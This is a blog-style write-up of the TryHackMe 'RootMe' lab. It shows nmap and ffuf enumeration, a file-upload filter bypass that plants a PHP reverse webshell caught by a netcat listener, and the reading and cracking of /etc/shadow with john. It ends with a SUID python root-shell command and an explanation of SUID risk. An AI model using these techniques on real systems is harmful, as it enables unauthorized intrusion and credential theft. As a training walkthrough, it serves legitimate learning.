I’ve been using TryhackMe recently to refresh my cybersecurity knowledge, as I had to take some time off from work and study. After some studying, I chose to test my knowledge about some basic Linux penetration testing using one easy machine that you have access to on TryHackMe: RootMe.
Here’s my writeup. For this machine, instead of utilizing my usual Kali machine, I just used the provided AttackBox that you have access to as a subscriber of TryHackMe.
Table of Contents
Scanning and Enumeration
I started with a simple NMap scan:
root@ip-10-10-163-129:~# nmap -A 10.10.232.82 Starting Nmap 7.60 ( https://nmap.org ) at 2023-03-05 13:24 GMT Nmap scan report for ip-10-10-232-82.eu-west-1.compute.internal (10.10.232.82) Host is up (0.00070s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA) | 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA) |_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (EdDSA) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: HackIT - Home MAC Address: 02:50:98:71:1C:43 (Unknown) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=3/5%OT=22%CT=1%CU=33288%PV=Y%DS=1%DC=D%G=Y%M=025098%TM OS:=6404983D%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A) OS:SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M230 OS:1ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)W OS:IN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F OS:507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N) OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0% OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0 OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.70 ms ip-10-10-232-82.eu-west-1.compute.internal (10.10.232.82) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds
I started to collect some info about the system, for example that it’s a webserver running Apache 2.4.29.
As there was a port 80 open, I used my browser to check what was running on the server and I found a very simple website. There wasn’t anything useful in the source code of the site, so I decided to scan for other interesting folders:
root@ip-10-10-163-129:~# ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.232.82/FUZZ ________________________________________________ :: Method : GET :: URL : http://10.10.232.82/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 ________________________________________________ .htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10] .hta [Status: 403, Size: 277, Words: 20, Lines: 10] .htaccess [Status: 403, Size: 277, Words: 20, Lines: 10] css [Status: 301, Size: 310, Words: 20, Lines: 10] index.php [Status: 200, Size: 616, Words: 115, Lines: 26] js [Status: 301, Size: 309, Words: 20, Lines: 10] panel [Status: 301, Size: 312, Words: 20, Lines: 10] server-status [Status: 403, Size: 277, Words: 20, Lines: 10] uploads [Status: 301, Size: 314, Words: 20, Lines: 10] :: Progress: [4655/4655] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
/panel and /uploads where the interesting ones, because with /panel you could upload files on the webserver, and you could then look at them on the /uploads page. This seemed like a good opportunity to upload a webshell.
Exploitation
When I tried to upload a .php reverse webshell, it was blocked by some filter that seems to be filtering files with .php extensions.
So I did several attempts with Burp, trying adding null bytes %00, adding/removing file extensions, etc. until I found out that adding the \ character would remove everything before in the name (e.g. uploading a file with name “shell.php\.png” would upload the file with name “.png”).
I tried to put it at the end of the file name (so something like shell.php.jpg\) and the uploaded file was named like shell.php.jpg” but, as opposed to previous files I’ve uploaded (which remained jpg or the files content was shown as text on screen when visiting their link), this one was loaded as a proper php file and I got my reverse shell.
I had netcat listening on my AttackBox with a simple:
nc -nvlp 9998
and after visiting the page with the .php file, I got my shell on the system:
Listening on [0.0.0.0] (family 0, port 9998)
Connection from 10.10.232.82 52898 received!
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:49:42 up 1:29, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ whoami
www-data
$ hostname
rootme
$ hostnamectl
Static hostname: rootme
Icon name: computer-vm
Chassis: vm
Machine ID: baf7439272ce43a98cc8afde5b086a25
Boot ID: b29ed68676e24e61a0d2e5ad49c21383
Virtualization: xen
Operating System: Ubuntu 18.04.4 LTS
Kernel: Linux 4.15.0-112-generic
Architecture: x86-64
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
I run some commands to gather additional information on the system and user.
With the current user, I could easily find the user.txt flag using the command:
find / -name "user.txt" 2>/dev/null
I’ve then looked into elevating my privileges. I run through my usual checklist of stuff to look for in a system, and found gold when searching for files with SUID set:
bash-4.4$ find / -perm -u=s -type f 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/traceroute6.iputils /usr/bin/newuidmap /usr/bin/newgidmap /usr/bin/chsh /usr/bin/python /usr/bin/at /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/bin/newgrp /usr/bin/passwd /usr/bin/pkexec /snap/core/8268/bin/mount /snap/core/8268/bin/ping /snap/core/8268/bin/ping6 /snap/core/8268/bin/su /snap/core/8268/bin/umount /snap/core/8268/usr/bin/chfn /snap/core/8268/usr/bin/chsh /snap/core/8268/usr/bin/gpasswd /snap/core/8268/usr/bin/newgrp /snap/core/8268/usr/bin/passwd /snap/core/8268/usr/bin/sudo /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/8268/usr/lib/openssh/ssh-keysign /snap/core/8268/usr/lib/snapd/snap-confine /snap/core/8268/usr/sbin/pppd /snap/core/9665/bin/mount /snap/core/9665/bin/ping /snap/core/9665/bin/ping6 /snap/core/9665/bin/su /snap/core/9665/bin/umount /snap/core/9665/usr/bin/chfn /snap/core/9665/usr/bin/chsh /snap/core/9665/usr/bin/gpasswd /snap/core/9665/usr/bin/newgrp /snap/core/9665/usr/bin/passwd /snap/core/9665/usr/bin/sudo /snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/9665/usr/lib/openssh/ssh-keysign /snap/core/9665/usr/lib/snapd/snap-confine /snap/core/9665/usr/sbin/pppd /bin/mount /bin/su /bin/fusermount /bin/ping /bin/umount
It instantly jumped to my eyes the fact that python was in the list, so I went to GTFOBins and looked at some useful commands.
For this, I decided to use it to read the content of the /etc/passwd and the /etc/shadow files, and prepare a file to attempt cracking some passwords with John The Ripper:
unshadow passwd shadow > password.txt john password.txt
I found the credentials for the user test (password: test).
I switched to that user, and did again my scanning of the system, and found again the same SUID result, with python in the list.
This time I used the command to have the root shell, and used it to find the flag:
test@rootme:/$ ./usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
#
I could have used right away the above command to get the root shell, but as this was my first proper CTF after a very long time, I decided to take the “long road” to have some more exercise.
SUID: What’s that?
SUID (Set User ID) is a special permission bit in Linux file systems that allows a user to execute a program with the permissions of its owner or group, rather than with the permissions of the user who is executing it. This can be useful for certain programs that require special permissions to access system resources, such as changing the system time or accessing a network device.
When a file has the SUID bit set, it means that when the file is executed, it will run with the effective user ID of the file’s owner, rather than with the ID of the user who is running it.
This can be a security risk if the file is not properly secured or if it can be exploited by an attacker to gain unauthorized access to sensitive system resources.
In the RootMe machine I talked about in this post, Python could be run with root privileges so it was possible to have a shell with root privileges. I recommend going on GTFOBins and look at how many files can be used this way (and with similar vulnerabilities like sudo, or Capabilities).
I enjoyed doing this box (or, as they called them on TryHackMe, “room”). I definitely recommend it to whoever is starting out and has some basic knowledge of penetration testing in a linux environment.
